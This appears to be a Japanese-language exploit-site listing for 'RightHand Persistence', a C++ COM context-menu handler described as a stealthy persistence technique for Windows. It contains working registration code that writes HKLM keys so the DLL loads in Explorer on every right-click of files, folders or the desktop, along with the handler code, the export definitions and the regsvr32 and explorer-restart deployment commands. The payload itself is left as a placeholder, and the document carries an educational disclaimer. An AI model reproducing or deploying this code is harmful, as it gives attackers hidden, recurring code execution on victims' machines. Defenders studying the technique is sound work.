## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-I014N-RIGHTHAND-PERSISTENCE
# RightHand 永続化
CVE-2026-21509 に触発されました
## C++ COM コンテキストメニューハンドラ (永続化用)
C++ と COM を使用した Windows コンテキストメニューハンドラのサンプル実装で、ステルス的な永続化手法を示します。カスタム COM オブジェクトを登録することで、ユーザーが特定のターゲット(ファイル、フォルダ、または背景)を右クリックするたびに、Windows エクスプローラ内でコードが実行されます。
> **免責事項:** このプロジェクトは教育および研究目的のみを意図しています。ここで示されている手法は悪意のある目的に使用される可能性があります。著者はこのコードの違法行為への使用を容認しません。責任を持ち、この知識を倫理的に使用してください。
* * *
## POC

## はじめに
### 前提条件
* C++ コンパイラ (例: Visual Studio の MSVC、または MinGW-w64)
* Windows SDK
* テスト用仮想マシン (安全な登録と実行のため)
### 使用環境
* **IDE:** Visual Studio 2019
* **開発用VM:** Windows 10 x64 (Build 19045)
* **テスト用VM:** Windows 10 x64 / Windows 11 x64
* * *
## プロジェクトアーキテクチャ
root@kitploit:~
DllMain.cpp
+-----------------------+
| DLL Template Project |
+-------+-------+-------+
____/ | \_____
| | |
v v v
+------------+ +----------------+ +--------------+
| Define | | MyClassFactory | | Define |
clsid_defined.h | CLSID | +----------------+ | Export | Source.def
+------------+ ClassFactory | Functions |
class +--------------+
|
|
v
+--------------+
| MyMenuHandler|
+--------------+
MyMenuHandler
class
### 1\. `DllMain.cpp`
COM オブジェクトが DLL を登録および登録解除するために必要な標準関数が含まれています。
* `DllRegisterServer()`: ターゲットのファイル拡張子/背景に対応するレジストリパスを書き込みます。DLL が登録されたときに実行されます。
root@kitploit:~
STDAPI DllRegisterServer() {
std::wstring clsidString = MyStringFromCLSID(CLSID_DecrypShellExtensionx64);
std::wstring dllPath = MyGetModuleFilename();
// 1. Register the COM Class (CLSID)
std::wstring clsidBaseKey = L"SOFTWARE\\Classes\\CLSID\\" + clsidString;
SetRegistryKey(HKEY_LOCAL_MACHINE, clsidBaseKey, L"", L"MyMenuHandler Object");
// 2. Register the DLL Path and Threading Model
std::wstring inprocKey = clsidBaseKey + L"\\InprocServer32";
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"", dllPath);
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"ThreadingModel", L"Apartment");
// 3. Register for all Shell Contexts
// Array of paths to cover Files, Folders, Backgrounds, and Desktop
std::wstring handlerPaths[] = {
L"SOFTWARE\\Classes\\*\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\Background\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\DesktopBackground\\shellex\\ContextMenuHandlers\\"
};
for (const auto& path : handlerPaths) {
std::wstring fullPath = path + L"MyMenuHandler"; // Replace with your handler's name
SetRegistryKey(HKEY_LOCAL_MACHINE, fullPath, L"", clsidString);
}
// 4. Register in the Approved list (Required for many Windows versions)
std::wstring approvedKey = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved";
SetRegistryKey(HKEY_LOCAL_MACHINE, approvedKey, clsidString, L"MyMenuHandler");
// 5. Notify the Shell that things have changed
SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);
return S_OK;
}
* `DllUnregisterServer()`: レジストリをクリーンアップします。DLL が登録解除されたときに呼び出されます。
### 2\. `MyClassFactory`
COM オブジェクトをインスタンス化するために必要です。クラスファクトリの詳細
### 3\. `Clsid_defined.h`
アプリケーションがエクスプローラに登録される GUID が含まれています。新しい GUID は、Visual Studio の `guidgen.exe` またはオンラインの GUID ジェネレータ を使用して生成できます。
root@kitploit:~
// {CEF1AA1B-42F7-4A54-AF46-BCEE5B3FE6BF}
DEFINE_GUID(CLSID_DecrypShellExtensionx64, 0xcef1aa1b, 0x42f7, 0x4a54, 0xaf, 0x46, 0xbc, 0xee, 0x5b, 0x3f, 0xe6, 0xbf);
### 4\. `Source.def`
モジュール定義ファイルです。これにより DLL がエクスポートする関数が指定されます。.DEF ファイルの詳細
root@kitploit:~
EXPORTS
DllGetClassObject PRIVATE
DllCanUnloadNow PRIVATE
DllRegisterServer PRIVATE
DllUnregisterServer PRIVATE
### 5\. `MyMenuHandler.cpp`
`IShellExtInit` と `IContextMenu` を実装するコアクラスです。カスタムアクションを定義する場所です。
* `MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)` 登録されたターゲットを右クリックするたびに呼び出されます。クリックされたファイルやフォルダを解析するために使用されます。
root@kitploit:~
HRESULT MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
{
MessageBoxA(NULL, "Initialize Called!", "Debug", MB_OK);
// 1. Check if we clicked on a FILE/FOLDER
if (pdtobj)
{
STGMEDIUM medium;
FORMATETC fe = { CF_HDROP, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL };
if (SUCCEEDED(pdtobj->GetData(&fe, &medium)))
{
DragQueryFileA((HDROP)medium.hGlobal, 0, m_szFile, MAX_PATH);
ReleaseStgMedium(&medium);
return S_OK; // Success!
}
}
// 2. Check if we clicked the BACKGROUND (pidlFolder)
if (pidlFolder)
{
if (SHGetPathFromIDListA(pidlFolder, m_szFile))
{
return S_OK; // Success!
}
}
// 3. Fallback: If we got neither, still return S_OK to show the menu.
// You just won't have a path populated in m_szFile.
return S_OK;
}
* `MyContextMenuHandler::InvokeCommand(LPCMINVOKECOMMANDINFO picp)` ユーザーがコンテキストメニューから特定のカスタムオプションをクリックしたときに呼び出されます。永続化ペイロードやカスタムアクションが実行される場所です。
* * *
## テスト
ターゲット VM 上で、コンパイルされた DLL をコピーし、次のコマンドを実行します:
### 1\. 登録
標準の Windows バイナリを使用して DLL を登録します。
root@kitploit:~
regsvr32.exe RightHandPersistence.dll
### 2\. エクスプローラの再起動
`explorer.exe` プロセスを再起動して、新しいシェル拡張がメモリに読み込まれるようにします。
root@kitploit:~
taskkill /f /im explorer.exe & start explorer.exe
### 3\. 登録解除
コンテキストメニューハンドラを削除しレジストリをクリーンアップするには、`regsvr32.exe` に `/u` フラグを使用します。これにより `DllUnregisterServer` 関数が呼び出されます。
root@kitploit:~
regsvr32.exe /u RightHandPersistence.dll
* * *
## カスタマイズ
### 1\. 特定の場所をターゲットにする
Windows では「空の領域」はファイルとは異なるカテゴリとして扱われます。背景をターゲットにするには、レジストリキーを以下の特定の場所にマッピングしてください。
拡張子のマッピングの詳細については、Microsoft シェル コンテキスト メニューのドキュメント を参照してください。
### 2\. カスタムメニューコマンドの作成
`IContextMenu::QueryContextMenu` メソッドを実装することで、メニューにカスタムテキスト(例:「カスタムコピー」や「診断の実行」)を指定できます。このカスタムテキストをクリックすると、`IContextMenu::InvokeCommand` 内のロジックがトリガーされます。
* * *
## 参考文献
* ショートカットメニューハンドラの作成 (Microsoft Learn)
* IShellExtInit インターフェイス (Microsoft Learn)
* IContextMenu インターフェイス (Microsoft Learn)
* シェル拡張ハンドラの登録 (Microsoft Learn)
* DEF ファイルを使用した DLL からのエクスポート (Microsoft Learn)
* GuidGenerator.com